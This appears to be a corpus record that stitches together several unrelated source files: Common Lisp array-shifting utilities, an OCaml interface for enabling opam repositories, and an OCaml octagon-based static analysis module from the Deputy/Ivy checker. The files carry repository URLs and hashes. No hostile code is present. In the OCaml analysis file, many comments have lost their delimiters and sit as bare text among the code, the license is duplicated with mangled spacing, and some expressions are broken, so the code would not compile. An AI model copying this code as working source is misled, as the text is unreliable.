(if (array-has-fill-pointer-p array)
(setf (fill-pointer array) (- (fill-pointer array) amount))
(when adjust
(setf array (adjust-array array (- (length array) amount)))))
array)
(defun-exported vector-1d-rshift (array index amount &key filler (adjust t))
(declare (type array array)
(type fixnum index amount)
(optimize (speed 3) (safety 1) (space 0) (debug 0)))
(when adjust
(setf array (adjust-array array (+ (length array) amount))))
(when (and
(array-has-fill-pointer-p array)
(adjustable-array-p array)
(> (+ (fill-pointer array) adjust) (length array)))
(setf array (adjust-array array (+ (length array) amount))))
(loop for i from (- (length array) 1 amount) downto index do
(setf (aref array (+ i amount)) (aref array i)))
(when filler
(loop for i from index upto (1- (+ index amount)) do
(setf (aref array i) filler)))
array)
| null | https://raw.githubusercontent.com/eslick/cl-stdutils/4a4e5a4036b815318282da5dee2a22825369137b/src/arrays.lisp | lisp | Syntax : ANSI - Common - Lisp ; Base : 10 -*-
*************************************************************************
FILE IDENTIFICATION
Name: arrays.lisp
Purpose: Random array utilities
************************************************************************* | Programmer :
Date Started : May 2005
(in-package :stdutils)
(defun-exported fast-array-copy (a1 a2 start count)
"Unsafe array copy"
(declare #-(or mcl sbcl) (type (vector fixnum) a1 a2)
#-(or mcl sbcl) (type fixnum start count)
(optimize speed (safety 0)))
(loop for pos fixnum from start to (- count 1) do
(setf (svref a2 pos) (svref a1 pos))))
(defun-exported vector-1d-lshift (array index amount &key (adjust t))
(declare (type array array)
(type fixnum index amount)
(optimize (speed 3) (safety 1) (space 0) (debug 0)))
(loop for i from index upto (- (length array) amount 1) do
(setf (aref array i) (aref array (+ i amount))))
(if (array-has-fill-pointer-p array)
(setf (fill-pointer array) (- (fill-pointer array) amount))
(when adjust
(setf array (adjust-array array (- (length array) amount)))))
array)
(defun-exported vector-1d-rshift (array index amount &key filler (adjust t))
(declare (type array array)
(type fixnum index amount)
(optimize (speed 3) (safety 1) (space 0) (debug 0)))
(when adjust
(setf array (adjust-array array (+ (length array) amount))))
(when (and
(array-has-fill-pointer-p array)
(adjustable-array-p array)
(> (+ (fill-pointer array) adjust) (length array)))
(setf array (adjust-array array (+ (length array) amount))))
(loop for i from (- (length array) 1 amount) downto index do
(setf (aref array (+ i amount)) (aref array i)))
(when filler
(loop for i from index upto (1- (+ index amount)) do
(setf (aref array i) filler)))
array)
|
df4cf3be578f2b550bd47dac830afd7a4dcfc9ee371d36e99c985f07a12ccf76 | tarides/ocaml-platform-installer | installed_repo.mli | * Register a { ! Repo } into Opam .
open Bos
val update : Opam.GlobalOpts.t -> Repo.t -> (unit, 'e) OS.result
(** Notify Opam that the repository has been updated. *)
val with_repo_enabled :
Opam.GlobalOpts.t -> Repo.t -> (unit -> (('a, 'e) OS.result as 'r)) -> 'r
(** Temporarily enable a repository in the selected switch. *)
val enable_repo :
Opam.GlobalOpts.t -> Repo.t -> (unit, [> `Msg of string ]) result
(** Enable a repository in the selected switch. *)
| null | https://raw.githubusercontent.com/tarides/ocaml-platform-installer/d24fa0590888673cc3b0eb828a3be484c0f8a8af/src/lib/installed_repo.mli | ocaml | * Notify Opam that the repository has been updated.
* Temporarily enable a repository in the selected switch.
* Enable a repository in the selected switch. | * Register a { ! Repo } into Opam .
open Bos
val update : Opam.GlobalOpts.t -> Repo.t -> (unit, 'e) OS.result
val with_repo_enabled :
Opam.GlobalOpts.t -> Repo.t -> (unit -> (('a, 'e) OS.result as 'r)) -> 'r
val enable_repo :
Opam.GlobalOpts.t -> Repo.t -> (unit, [> `Msg of string ]) result
|
aaf30ed430d88566a0846f06061d0406c5500f8dc6dc10e1d4ecfcd05447e6ef | spl/ivy | doctanalysis.ml |
*
* Copyright ( c ) 2004 ,
* < >
* < >
* All rights reserved .
*
* Redistribution and use in source and binary forms , with or without
* modification , are permitted provided that the following conditions are
* met :
*
* 1 . Redistributions of source code must retain the above copyright
* notice , this list of conditions and the following disclaimer .
*
* 2 . Redistributions in binary form must reproduce the above copyright
* notice , this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution .
*
* 3 . The names of the contributors may not be used to endorse or promote
* products derived from this software without specific prior written
* permission .
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS " AS
* IS " AND ANY EXPRESS OR IMPLIED WARRANTIES , INCLUDING , BUT NOT LIMITED
* TO , THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED . IN NO EVENT SHALL THE COPYRIGHT OWNER
* OR FOR ANY DIRECT , INDIRECT , INCIDENTAL , SPECIAL ,
* EXEMPLARY , OR CONSEQUENTIAL DAMAGES ( INCLUDING , BUT NOT LIMITED TO ,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES ; LOSS OF USE , DATA , OR
* PROFITS ; OR BUSINESS INTERRUPTION ) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY , WHETHER IN CONTRACT , STRICT LIABILITY , OR TORT ( INCLUDING
* NEGLIGENCE OR OTHERWISE ) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE , EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE .
*
*
* Copyright (c) 2004,
* Jeremy Condit <>
* George C. Necula <>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* 3. The names of the contributors may not be used to endorse or promote
* products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
* IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*)
*
* doctanalysis.ml
*
* An octogon analysis using the library by
*
*
*
* doctanalysis.ml
*
* An octogon analysis using the library by Antoine Mine'
*
*
*)
open Cil
open Expcompare
open Pretty
open Dattrs
open Dutil
open Dcheckdef
open Doptimutil
open Ivyoptions
open Dflowinsens
module E = Errormsg
module IH = Inthash
module P = Dptranal
module DF = Dataflow
module S = Stats
module DCE = Dcanonexp
module AELV = Availexpslv
module H = Hashtbl
module UF = Unionfind
module DFF = Dfailfinder
module SI = SolverInterface
module DPF = Dprecfinder
module O = Oct
module LvHash =
H.Make(struct
type t = lval
let equal lv1 lv2 = compareLval lv1 lv2
let hash = H.hash
end)
module LvSet =
Set.Make(struct
type t = lval
let compare = Pervasives.compare
end)
module LvUf = UF.Make(LvSet)
A mapping from lvals to the family(list ) of lvals
that the lval belongs to
that the lval belongs to *)
type lvalFams = lval list ref LvHash.t
The abstract state for one family of lvals
type smallState = {
(* The octagon *)
mutable octagon: O.oct;
(* The mapping from lvals to octagon variables *)
lvHash: int LvHash.t;
}
(* A mapping from each lval to the abstract state for
* its family *)
type absState = {
(* the state for each lv *)
lvState: smallState ref LvHash.t;
(* A list of small states for easy iteration, etc. *)
smallStates: smallState ref list
}
let debug = ref false
let doTime = ref true
let time s f x = if !doTime then S.time s f x else f x
(*
* When ignore_inst returns true, then
* the instruction in question has no
* effects on the abstract state.
* When ignore_call returns true, then
* the instruction only has side-effects
* from the assignment if there is one.
*)
let ignore_inst = ref (fun i -> false)
let ignore_call = ref (fun i -> false)
let registerIgnoreInst (f : instr -> bool) : unit =
let f' = !ignore_inst in
ignore_inst := (fun i -> (f i) || (f' i))
let registerIgnoreCall (f : instr -> bool) : unit =
let f' = !ignore_call in
ignore_call := (fun i -> (f i) || (f' i))
(* unit -> bool *)
(* This should be called from doptimmain before doing anything *)
let init = O.init
(* This indicates that this module actualy does something *)
let real = true
let octprinter =
O.foctprinter (fun i -> "v"^(string_of_int i))
Format.str_formatter
let d_oct () (o: O.oct) =
octprinter o;
text (Format.flush_str_formatter())
let d_state () (a:absState) =
List.fold_left (fun d sSr ->
if O.is_universe (!sSr).octagon then
d ++ text "-> Universe"
++ line
else if O.is_empty (!sSr).octagon then
d ++ text "-> Empty"
++ line
else begin
octprinter (!sSr).octagon;
d ++ text ("-> "^(Format.flush_str_formatter()))
++ line
end) nil a.smallStates
let d_vnum () (v:O.vnum) =
O.fvnumprinter Format.str_formatter v;
text (Format.flush_str_formatter()) ++ line
let lvHashRevLookup (lvih : int LvHash.t) (i : int) : lval option =
LvHash.fold (fun lv j lvo -> if i = j then (Some lv) else lvo)
lvih None
Convert an octagon to a list of expressions embodying the constraints
let octToBinOpList (a : absState) : exp list =
List.fold_left (fun el sSr ->
let o = (!sSr).octagon in
let lvih = (!sSr).lvHash in
let nel = ref [] in
let n = O.dim o in
if O.is_empty o then el else begin
for i = 0 to n - 1 do
let m_ij = O.get_elem o (2*i + 1) (2*i) in
match O.int_of_num m_ij with
| None -> ()
| Some m_ij -> begin
match lvHashRevLookup lvih i with
| Some lv_i ->
let e_i = Lval lv_i in
let ineq = BinOp(Le, e_i, integer m_ij, intType) in
nel := ineq :: (!nel)
| _ -> ()
end
done;
for i = 0 to n - 1 do
for j = 0 to i - 1 do
let m_ij = O.get_elem o (2*j) (2*i) in
(match O.int_of_num m_ij with
| None -> ()
| Some m_ij -> begin
(* v_i - v_j <= m_ij *)
Reverse lookup in lvih for the lvals of v_j and v_i ,
then build an expression and add it to the list
then build an expression and add it to the list *)
match lvHashRevLookup lvih i, lvHashRevLookup lvih j with
| Some lv_i, Some lv_j ->
let e_i = Lval lv_i in
let e_j = Lval lv_j in
let diff = BinOp(MinusA, e_i, e_j, intType) in
let ineq = BinOp(Le, diff, integer m_ij, intType) in
nel := ineq :: (!nel)
| _, _ -> ()
end);
let m_ij = O.get_elem o (2*j+1) (2*i) in
(match O.int_of_num m_ij with
| None -> ()
| Some m_ij -> begin
v_i < = m_ij
match lvHashRevLookup lvih i, lvHashRevLookup lvih j with
| Some lv_i, Some lv_j ->
let e_i = Lval lv_i in
let e_j = Lval lv_j in
let sum = BinOp(PlusA, e_i, e_j, intType) in
let ineq = BinOp(Le, sum, integer m_ij, intType) in
nel := ineq :: (!nel)
| _, _ -> ()
end)
done
done;
el @ (!nel)
end)
[] a.smallStates
(* Forget the state for any lval that mentions lv *)
let forgetLval (a: absState) (lv: lval) : absState =
List.iter (fun sSr ->
let newoct = LvHash.fold (fun elv id o ->
if AELV.exp_has_lval lv (Lval elv) then
time "oct-forget" (O.forget o) id
else o) (!sSr).lvHash (!sSr).octagon
in
(!sSr).octagon <- newoct) a.smallStates;
a
let forgetMem ?(globalsToo : bool=false)
(a : absState)
(eo : exp option) (* e is being written if (Some e) *)
: absState
=
List.iter (fun sSr ->
let newoct = LvHash.fold (fun elv id o ->
if !doPtrAnalysis then
match eo with
| Some ee ->
if P.lval_has_alias_read ee elv then begin
time "oct-forget" (O.forget o) id
end else o
| None ->
if AELV.lval_has_mem_read elv then
time "oct-forget" (O.forget o) id
else o
else if AELV.lval_has_mem_read elv then
time "oct-forget" (O.forget o) id
else o)
(!sSr).lvHash (!sSr).octagon
in
(!sSr).octagon <- newoct)a.smallStates;
a
let stateMap : absState IH.t = IH.create 50
let rec gcd a b =
if b = 0 then a else gcd b (a mod b)
(* find the gcd of the non-zero elements of the array *)
let arrayGCD (a: int array) =
Array.fold_left (fun g x ->
if x = 0 then g else
if g = 0 then (abs x) else gcd g (abs x)) 0 a
divide each non - zero element of the array by the gcd of
all the non - zero elements of the array
all the non-zero elements of the array *)
let divByGCD (a: int array) =
let gcd = arrayGCD a in
if gcd = 0 then a else
Array.map (fun x -> x / gcd) a
exception BadConExp
(* Take a canonicalized expression and return a list of lval ids and coefficients
* along with the smallState for their family. If not all lvals are from
* the same family, or if the canonicalized expression isn't of the form we need
* then raise BadConExp. *)
let getCoefIdList (cdiff: DCE.Can.t) (state: absState)
: (int * int) list * smallState ref
=
Make a list of ( i d , ) pairs
let sSror = ref None in (* For Sanity Checking *)
let id_coef_lst =
List.map (fun (f, e) ->
match e with
| StartOf lv
| Lval lv -> begin
try
let sSr = LvHash.find state.lvState lv in
let id = LvHash.find (!sSr).lvHash lv in
(* Sanity Check! Make sure all lvals are in
* the same family. For loop conditions that don't matter
* it's okay if they're not, though. *)
if true then begin
match (!sSror) with
| None -> sSror := Some sSr
| Some sSr' -> if not(sSr' == sSr) then begin
if !debug then
ignore(E.log "Not all lvals in the same family!! %a in %a\n"
d_lval lv DCE.Can.d_t cdiff);
raise BadConExp
end
end;
TODO : mine 's oct lib does n't do 64 - bits ?
with Not_found -> begin
(* If this happens, it is likely a failure in
expression canonicalization. *)
if not(LvHash.mem state.lvState lv) && !debug then
warn "lval not in hash in getCoefIdList: %a\n" d_lval lv
else if !debug then
warn "lval not in smallState for itself?!: %a\n" d_lval lv;
raise BadConExp
end
end
| _ -> begin
if !debug then
ignore(E.log "Non lv in canon exp\n");
raise BadConExp
end) cdiff.DCE.Can.cf
in
(* get the small state of interest *)
let sSr =
match (!sSror) with
| None -> raise BadConExp
| Some sSr -> sSr
in
(id_coef_lst, sSr)
(* Given a canonicalized expression, make a vnum of
* coefs and return the smallState that the lvals in
* the expression belong to *)
let makeCoefVnum (cdiff: DCE.Can.t) (state: absState)
: O.vnum * smallState ref
=
let (id_coefs_lst, sSr) = getCoefIdList cdiff state in
(* make an array of coefficients. The last elemens is the constant *)
let numcs = O.dim (!sSr).octagon in
let coefs = Array.make (numcs + 1) 0 in
add coefs to the array
List.iter (fun (id, f) -> coefs.(id) <- f) id_coefs_lst;
(* Add the constant term *)
TODO : 64 - bits
(* Try to make all of the coefs +/-1 *)
let coefs = divByGCD coefs in
(* If any but the constant term are not +/-1 or 0, then
raise BadConExp, which will return false and not update state *)
let cs = Array.sub coefs 0 numcs in
let hasBadE = Array.fold_left
( fun b i - > b || ( abs i < > 1 & & i < > 0 ) ) false cs
in
if hasBadE then begin
if ! debug then
ignore(E.log " : bad % a\n " DCE.Can.d_t cdiff ) ;
raise BadConExp
end else
let hasBadE = Array.fold_left
(fun b i -> b || (abs i <> 1 && i <> 0)) false cs
in
if hasBadE then begin
if !debug then
ignore(E.log "makeCoefVnum: bad coef %a\n" DCE.Can.d_t cdiff);
raise BadConExp
end else*)
convert coefs to something that the Octagon library understands
let octcoefs = O.vnum_of_int coefs in
(octcoefs, sSr)
let findCounterExamples (a : absState)
(ce1 : DCE.Can.t)
(ce2 : DCE.Can.t) : doc option =
if !debug then
ignore(E.log "findCounterExamples: converting oct to binop list\n");
let el = octToBinOpList a in
if !debug then
ignore(E.log "findCounterExamples: calling DFF.failCheck\n");
if SI.is_real then begin
let ce = DCE.Can.sub ce2 ce1 ILong in
let eil = DFF.failCheck el ce in
if eil = [] then None else begin
let d = List.fold_left (fun d (e, i) ->
d ++ text "\t" ++ d_exp () e ++ text " = " ++ num i ++ line)
(text "Check will fail when:" ++ line) eil
in
Some d
end
end else begin
try
let ce = DCE.Can.sub ce1 ce2 ILong in
let ce = DCE.Can.sub ce (DCE.Can.mkInt Int64.one ILong) ILong in
let (enoughFacts, _) = DFF.checkFacts el ce in
if not enoughFacts then None else
let (octcoefs, sSr) = makeCoefVnum ce a in
let newoct = O.add_constraint (!sSr).octagon octcoefs in
if O.is_empty newoct then None else
if O.is_included_in ( ! then
Some ( text " \n\nCHECK WILL ALWAYS FAIL\n\n " ) else
Some (text "\n\nCHECK WILL ALWAYS FAIL\n\n") else*)
let newbox = O.int_of_vnum (O.get_box newoct) in
let oldbox = O.int_of_vnum (O.get_box (!sSr.octagon)) in
let n = O.dim newoct in
let d = ref nil in
if !debug then
ignore(E.log "findCounterExamples: looping over octagon: %d\n"
n);
for i = 0 to n - 1 do
match lvHashRevLookup (!sSr).lvHash i with
| None -> ()
| Some lv -> begin
let newlo = newbox.(2*i + 1) in
let newhi = newbox.(2*i) in
let oldlo = oldbox.(2*i + 1) in
let oldhi = oldbox.(2*i) in
match newlo, newhi with
| None, Some hi ->
if newhi <> oldhi || newlo <> oldlo then ()
(*d := !d ++ text "\t" ++ dx_lval () lv ++ text " <= "
++ num hi ++ line*)
| Some lo, None ->
if newlo <> oldlo || newhi <> oldhi then ()
(*d := !d ++ text "\t" ++ num (-lo) ++ text " <= "
++ dx_lval () lv ++ line*)
| Some lo, Some hi ->
if (newlo <> oldlo || newhi <> oldhi) &&
hi - (-lo) <= 10
then
d := !d ++ text "\t" ++ num (-lo) ++ text " <= "
++ dx_lval () lv ++ text " <= " ++ num hi
++ line
| _, _ -> ()
end
done;
if !d <> nil then begin
let d = text "Check will fail when:\n" ++ (!d) in
Some d
end else None
with
| BadConExp -> None
end
(* Check that e1 <= e2 in state "state"
* fst(doExpLeq false e1 e2 s) is true if e1 <= e2 can be proved
* snd(doExpLeq true e1 e2 s) is the state with e1 <= e2 added.
* fst(doExpLeq true e1 e2 s) is false if the state couldn't be updated.
*
* Remember the invariant that all lvals that will be compared here will
* be in the same family. (If they aren't, it is a bug)
*)
let totalChecks = ref 0
let totalAssert = ref 0
let octoCheckInsuf = ref 0
let octoAssertInsuf = ref 0
let interAssertInsuf = ref 0
let interCheckInsuf = ref 0
let doExpLeq ?(modify : bool = false)
?(fCE : bool = true)
(e1 : exp)
(e2 : exp)
(state : absState)
: bool * absState * doc option
=
if modify then incr totalChecks else incr totalAssert;
try
let ce1 = DCE.canonExp Int64.one e1 in
let ce2 = DCE.canonExp Int64.one e2 in
let cdiff = DCE.Can.sub ce2 ce1 ILong in
if modify is true then add the fact that cdiff > = 0 ,
if modify is false return true iff absState can show that cdiff > = 0
if modify is false return true iff absState can show that cdiff >= 0 *)
May raise BadConExp
if !debug then ignore(E.log "doExpLeq: %a\n" DCE.Can.d_t cdiff);
let canonSign = DCE.Can.getSign cdiff in
if canonSign = DCE.Can.Pos || canonSign = DCE.Can.Zero then (true, state, None) else
let (octcoefs, sSr) = makeCoefVnum cdiff state in
if List.length cdiff.DCE.Can.cf > 1 then begin
if modify then incr interCheckInsuf else incr interAssertInsuf
end;
(* if modify is true, then add the information to the state,
otherwise check if the inequality holds *)
if modify then begin
let newoct = time "oct-add-constraint" (O.add_constraint (!sSr).octagon) octcoefs in
if !debug then ignore(E.log "doExpLeq: adding %a >= 0 to %a to get %a\n"
DCE.Can.d_t cdiff d_oct (!sSr).octagon d_oct newoct);
(!sSr).octagon <- newoct;
(true, state, None)
end else begin
if !debug then ignore(E.log "doExpLeq: coefs = %a\n" d_vnum octcoefs);
if !debug then ignore(E.log "adding %a >= 0\n" DCE.Can.d_t cdiff);
let testoct = time "oct-add-constraint" (O.add_constraint (!sSr).octagon) octcoefs in
if !debug then ignore(E.log "is %a included in %a?\n"
d_oct (!sSr).octagon d_oct testoct);
if time "oct-inclusion" (O.is_included_in (!sSr).octagon) testoct &&
not(O.is_empty testoct) && not(O.is_universe testoct)
then begin
if !debug then ignore(E.log "Yes!\n");
(true, state, None)
end else begin
if !debug then ignore(E.log "No!\n");
try
if !debug then ignore(E.log "doExpLeq: finding counterexamples\n");
let docoption =
if fCE then
findCounterExamples state ce1 ce2
else None
in
(*let docoption = None in*)
if !debug then ignore(E.log "doExpLeq: done finding counterexamples\n");
(false, state, docoption)
with ex -> begin
ignore(E.log "doExpLeq: findCounterEamples raised %s\n"
(Printexc.to_string ex));
raise ex
end
end
end
with
| BadConExp -> begin
if modify then incr octoCheckInsuf else incr octoAssertInsuf;
if modify then incr interCheckInsuf else incr interAssertInsuf;
(false, state, None)
end
let fst3 (f,s,t) = f
let snd3 (f,s,t) = s
let trd3 (f,s,t) = t
FIXME : use the sign info ! E.g. add e1 > = 0
let doLessEq a (e1: exp) (e2:exp) ~(signed:bool): absState =
(* log "Guard %a <= %a.\n" dx_exp e1 dx_exp e2; *)
snd3(doExpLeq ~modify:true e1 e2 a)
let doLess a (e1: exp) (e2:exp) ~(signed:bool): absState =
(* log "Guard %a < %a.\n" d_plainexp e1 d_plainexp e2; *)
match unrollType (typeOf e1) with
| TPtr _ -> snd3(doExpLeq ~modify:true (BinOp(PlusPI,e1,one,typeOf e1)) e2 a)
| TInt _ -> snd3(doExpLeq ~modify:true (BinOp(PlusA,e1,one,typeOf e1)) e2 a)
| _ -> a
let isNonNull state e: bool = false
(*
(* log "isNonNull? on %a.\n" d_plainexp e; *)
(isNonnullType (typeOf e)) ||
(match stripNopCasts e with
| BinOp((PlusPI|IndexPI|MinusPI), e1, e2, _) ->
(* We've disallowed ptr arith if e1 is null. *)
let t1 = typeOf e1 in
isPointerType t1 && not (isSentinelType t1)
| AddrOf lv
| StartOf lv -> true
| Const(CStr _) -> true
| _ -> fst(doExpLeq one e state))
*)
let isFalse state e =
match e with
UnOp(LNot, e', _) -> isNonNull state e'
| _ -> isZero e
let addNonNull (state:absState) (lv: lval) : absState = state
(*snd(doExpLeq ~modify:true one (Lval lv) state)*)
(* Turn a conjunction into a list of conjuncts *)
let expToConjList (e:exp) : (exp list) =
let rec helper e l =
match e with
| BinOp(LAnd, e1, e2, _) ->
let l1 = helper e1 [] in
let l2 = helper e2 [] in
l@l1@l2
| _ -> e::l
in
helper e []
let rec simplifyBoolExp e =
match stripNopCasts e with
UnOp(LNot, UnOp(LNot, e, _), _) -> simplifyBoolExp e
| BinOp(Ne, e, z, _) when isZero z -> simplifyBoolExp e
| UnOp(LNot, BinOp(Eq, e, z, _), _) when isZero z -> simplifyBoolExp e
| UnOp(LNot, BinOp(Lt, e1, e2, t), _) ->
BinOp(Ge, e1, e2, t)
| UnOp(LNot, BinOp(Le, e1, e2, t), _) ->
BinOp(Gt, e1, e2, t)
| UnOp(LNot, BinOp(Gt, e1, e2, t), _) ->
BinOp(Le, e1, e2, t)
| UnOp(LNot, BinOp(Ge, e1, e2, t), _) ->
BinOp(Lt, e1, e2, t)
| e -> e
let doOneBranch (a:absState) (e:exp) : absState =
if !debug then
log "Guard %a.\n" dx_exp e;
let e = simplifyBoolExp e in
match e with
| BinOp(Lt, e1, e2, t) when isIntOrPtrType (typeOf e1) ->
let e1 = stripNopCasts e1 in
let e2 = stripNopCasts e2 in
doLess a e1 e2 ~signed:(isSignedType (typeOf e1))
| BinOp(Le, e1, e2, t) when isIntOrPtrType (typeOf e1) ->
let e1 = stripNopCasts e1 in
let e2 = stripNopCasts e2 in
doLessEq a e1 e2 ~signed:(isSignedType (typeOf e1))
| BinOp(Gt, e1, e2, t) when isIntOrPtrType (typeOf e1) ->
let e1 = stripNopCasts e1 in
let e2 = stripNopCasts e2 in
doLess a e2 e1 ~signed:(isSignedType (typeOf e1))
| BinOp(Ge, e1, e2, t) when isIntOrPtrType (typeOf e1) ->
let e1 = stripNopCasts e1 in
let e2 = stripNopCasts e2 in
doLessEq a e2 e1 ~signed:(isSignedType (typeOf e1))
| Lval lv ->
doLess a zero (Lval lv) ~signed:(isSignedType (typeOf (Lval lv)))
TODO : Add things here for BinOp(Eq , Ne ) and
a
(* Update a state to reflect a branch *)
let doBranch (a:absState) (e:exp) : absState =
let conjList = expToConjList e in
List.fold_left doOneBranch a conjList
(* Add that
* lv >= e1 and
* lv >= e2
*)
let doMax a lv e1 e2 =
let a' = doLessEq a e1 (Lval lv) ~signed:(isSignedType(typeOf e1)) in
let a' = doLessEq a' e2 (Lval lv) ~signed:(isSignedType(typeOf e2)) in
a'
(* Update a state to reflect a check *)
let processCheck a (c:check) : absState =
match c with
(*CNonNull e -> doBranch a e*)
| CLeq(e1, e2, _) -> doLessEq a e1 e2 ~signed:false
| CLeqInt(e1, e2, _) -> doLessEq a e1 e2 ~signed:false
| CPtrArith(lo, hi, p, e, _) ->
let e' = BinOp(PlusPI,p,e,typeOf p) in
let a = doLessEq a lo e' ~signed:false in
doLessEq a e' hi ~signed:false
| CPtrArithNT(lo, hi, p, e, _) ->
let e' = BinOp(PlusPI,p,e,typeOf p) in
let a = doLessEq a lo e' ~signed:false in
a (* no upper bound *)
| CPtrArithAccess(lo, hi, p, e, _) ->
let e' = BinOp(PlusPI,p,e,typeOf p) in
let a = doLessEq a lo e' ~signed: false in
doLessEq a (BinOp(PlusPI,p,BinOp(PlusA,e,one,typeOf e),typeOf p)) hi ~signed:false
| _ -> a
(* Add to anext any relevant inequality information for the assignment
dest := e
*)
let doSet ~(state: absState) (dest: lval) (e:exp) : absState =
if !debug then log "doSet: %a := %a\n" dx_lval dest dx_exp e;
let ce = DCE.canonExp Int64.one e in
let cdest = DCE.canonExp Int64.one (Lval dest) in
let dlv =
match cdest.DCE.Can.cf with
| [(_,e)] -> begin
match e with
| Lval lv | StartOf lv | AddrOf lv -> lv
| _ -> begin
ignore(E.log "doSet: bad lval %a\n" d_plainexp e);
raise BadConExp
end
end
| _ -> begin
if !debug then
ignore(E.log "doSet: bad canon lval %a" d_plainexp e);
raise BadConExp
end
in
try
let (octcoefs, sSr) =
match ce.DCE.Can.cf with
| [] -> begin
let sSr = LvHash.find state.lvState dlv in
let numcs = O.dim (!sSr).octagon in
let coefs = Array.make (numcs + 1) 0 in
coefs.(numcs) <- Int64.to_int ce.DCE.Can.ct;
let octcoefs = O.vnum_of_int coefs in
(octcoefs, sSr)
end
| _ -> makeCoefVnum ce state
in
let destid = LvHash.find (!sSr).lvHash dlv in
(* do the assignment! *) (* TODO: check for overflow *)
let newoct = time "oct-assign" (O.assign_var (!sSr).octagon destid) octcoefs in
if !debug then ignore(E.log "doSet: {%a} %a <- %a {%a}\n"
d_oct (!sSr).octagon d_lval dest d_exp e d_oct newoct);
(!sSr).octagon <- newoct;
state
with
| BadConExp -> begin
if !debug then
ignore(E.log "doSet: BadConExp: %a\n" DCE.Can.d_t ce);
state
end
| Not_found ->
if !debug then
ignore(E.log "doSet: %a should be in the same family as %a"
d_lval dlv DCE.Can.d_t ce);
state
let int_list_union l1 l2 =
List.fold_left (fun l x ->
if List.mem x l then l else x :: l) l1 l2
let vi_list_union l1 l2 =
List.fold_left (fun l x ->
if List.exists (fun vi -> vi.vid = x.vid) l then l else x :: l)
l1 l2
let handleCall = P.handleCall (forgetMem ~globalsToo:true)
(* fdato is set in doOctAnalysis.
Easier for it to be a global b/c of dataflow functor *)
let fdato : DPF.functionData option ref = ref None
let flowHandleInstr a i =
(* E.log "Doing instr %a in state %a\n" d_instr i d_state a; *)
match instrToCheck i with
| Some c -> processCheck a c
| None -> begin
match i with
| Set (lh, e, _) when compareExpStripCasts (Lval lh) e -> a
| Set ((Var _, _) as dest, e, _) ->
let anext = forgetLval a dest in
doSet ~state:anext dest e
| Set ((Mem e, _), _, _) ->
forgetMem a (Some e)
| Call (Some(Var vi, NoOffset), Lval(Var vf, NoOffset), [e1;e2], _)
when vf.vname = "deputy_max" -> begin
let a' = forgetLval a (Var vi, NoOffset) in
doMax a' (Var vi, NoOffset) e1 e2
end
| Call (Some (Var vi, NoOffset), f, args, _) when isPointerType vi.vtype ->
let a =
if is_deputy_instr i || (!ignore_call) i then
forgetLval a (Var vi, NoOffset)
else
handleCall (!fdato) f args (forgetLval a (Var vi, NoOffset))
forgetMem ~globalsToo : true ( forgetLval a ( , ) )
None
None*)
in
let rt, _, _, _ = splitFunctionType (typeOf f) in
if isNonnullType rt then
addNonNull a (Var vi, NoOffset)
else
a
| Call (Some lv, f, args, _) ->
if !ignore_call i || is_deputy_instr i then
forgetLval a lv
else
handleCall (!fdato) f args (forgetLval a lv)
(*forgetMem ~globalsToo:true (forgetLval a lv)*)
| Call (_, f, args, _) ->
if (!ignore_call) i || is_deputy_instr i then a else
handleCall (!fdato) f args a
(*forgetMem ~globalsToo:true a None*)
| Asm (_, _, writes, _, _, _) ->
(* This is a quasi-sound handling of inline assembly *)
let a = forgetMem a None in
List.fold_left (fun a (_,_,lv) ->
forgetLval a lv) a writes
end
make a copy of the absState
let absStateCopy (a: absState) =
(* make copy of list *)
let newSSRList = List.map (fun sSr ->
let newoct = (!sSr).octagon in
let newhash = (!sSr).lvHash in
let newSS = {octagon = newoct; lvHash = newhash} in
ref newSS) a.smallStates
in
(* zip up with old list *)
let newold = List.combine newSSRList a.smallStates in
let newFromOld old = fst(List.find (fun (n,o) -> old == o) newold) in
(* Iter through old hash table to make new hash table *)
let newSSHash = LvHash.create 10 in
LvHash.iter (fun lv sSr ->
LvHash.add newSSHash lv (newFromOld sSr)) a.lvState;
{lvState = newSSHash; smallStates = newSSRList}
let absStateEqual (a1: absState) (a2: absState) =
(* Check that each of the octagons are the same *)
let not_equal =
List.exists (fun (sSr1,sSr2) ->
not(O.is_equal (!sSr1).octagon (!sSr2).octagon))
(List.combine a1.smallStates a2.smallStates)
in
not(not_equal)
let absStateWiden (old: absState) (newa: absState) =
List.iter (fun (old_sSr, new_sSr) ->
(!new_sSr).octagon <-
O.widening (!old_sSr).octagon (!new_sSr).octagon O.WidenFast)
(List.combine old.smallStates newa.smallStates)
let absStateUnion (old: absState) (newa: absState) =
List.iter (fun (old_sSr, new_sSr) ->
(!new_sSr).octagon <-
O.union (!old_sSr).octagon (!new_sSr).octagon)
